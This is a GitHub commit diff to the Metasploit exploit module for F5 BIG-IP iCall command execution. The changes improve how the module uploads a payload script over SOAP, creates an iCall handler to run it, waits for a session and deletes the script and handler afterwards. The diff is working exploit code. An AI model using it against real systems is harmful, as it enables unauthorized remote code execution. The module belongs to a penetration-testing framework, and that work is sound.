Skip to content

Commit 26c8836

Browse files
committed
Merge pull request #7 from jhart-r7/pr/fixup-6228
print_ improvements, better cleanup and prevent multiple sessions
2 parents c0d9c65 + deec836 commit 26c8836

File tree

1 file changed

+41
-27
lines changed

1 file changed

+41
-27
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 41 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,8 @@ def initialize(info = {})
3131
'License' => MSF_LICENSE,
3232
'Author' =>
3333
[
34-
'tom' # Discovery, Metasploit module
34+
'tom', # Discovery, Metasploit module
35+
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
3536
],
3637
'References' =>
3738
[
@@ -59,7 +60,7 @@ def initialize(info = {})
5960
])
6061
register_advanced_options(
6162
[
62-
OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]),
63+
OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
6364
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
6465
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
6566
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
@@ -138,18 +139,19 @@ def delete_script(script_name)
138139
end
139140
end
140141
end
141-
send_soap_request(delete_xml)
142+
print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
143+
res
142144
end
143145

144-
def script_exists(script_name)
146+
def script_exists?(script_name)
145147
exists_xml = build_xml do |xml|
146148
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
147149
end
148150
res = send_soap_request(exists_xml)
149151
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
150152
end
151153

152-
def create_handler(handler_name, script_name, interval)
154+
def create_handler(handler_name, script_name)
153155
handler_xml = build_xml do |xml|
154156
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
155157
xml.handlers(STRING_ATTRS) do
@@ -162,7 +164,11 @@ def create_handler(handler_name, script_name, interval)
162164
end
163165
xml.intervals(LONG_ATTRS) do
164166
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
165-
xml.item interval
167+
# we set this to run once every 24h, but because there is no
168+
# start/end time it will run once, more or less immediately, and
169+
# again 24h from now, but by that point hopefully we will have
170+
# cleaned up and the handler/script/etc are gone
171+
xml.item 60*60*24
166172
end
167173
end
168174
end
@@ -180,10 +186,11 @@ def delete_handler(handler_name)
180186
end
181187
end
182188

183-
send_soap_request(delete_xml)
189+
print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))
190+
res
184191
end
185192

186-
def handler_exists(handler_name)
193+
def handler_exists?(handler_name)
187194
handler_xml = build_xml do |xml|
188195
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
189196
end
@@ -220,37 +227,44 @@ def exploit
220227
return false
221228
end
222229

223-
print_status('Uploading payload...')
224-
225-
script_name = Rex::Text.rand_text_alpha_lower(5)
230+
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
231+
print_status("Uploading payload script #{script_name}")
226232
create_script_res = create_script(script_name, cmd)
227233
unless create_script_res && create_script_res.code == 200
228-
print_error("Upload script failed")
234+
print_error("Upload payload script failed")
229235
return false
230236
end
231-
unless script_exists(script_name)
232-
print_error("create_script() run successfully but script was not found")
237+
unless script_exists?(script_name)
238+
print_error("Payload script uploaded successfully but script was not found")
233239
return false
234240
end
235241
register_file_for_cleanup @payload_path
236242

237-
interval = datastore['INTERVAL']
238-
239243
# phase 2: create iCall Handler, that will actually run the previously created script
240-
print_status('Creating trigger...')
241-
handler_name = Rex::Text.rand_text_alpha_lower(5)
242-
unless create_handler(handler_name, script_name, interval)
243-
print_error('Script uploaded but create_handler() failed')
244+
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
245+
print_status("Creating trigger #{handler_name}")
246+
unless create_handler(handler_name, script_name)
247+
print_error('Payload script uploaded but trigger creation failed')
248+
delete_script(script_name)
249+
return false
250+
end
251+
unless handler_exists?(handler_name)
252+
print_error("Trigger created successfully but was not found")
253+
delete_script(script_name)
244254
return false
245255
end
246-
print_status('Wait until payload is executed...')
256+
print_status('Waiting for payload to execute...')
247257

248-
sleep(interval) # small delay, just to make sure
249-
print_status('Trying cleanup...')
250-
if delete_handler(handler_name) && delete_script(script_name)
251-
print_status('Cleanup finished with no errors')
252-
else
253-
print_error('Error while cleaning up')
258+
# if our payload has not been successfully executed just yet, wait
259+
# until it does or give up
260+
slept = 0
261+
until session_created? || slept > datastore['SESSION_WAIT']
262+
Rex.sleep(1)
263+
slept += 1
254264
end
265+
266+
print_status('Trying cleanup...')
267+
delete_script(script_name)
268+
delete_handler(handler_name)
255269
end
256270
end

0 commit comments

Comments
 (0)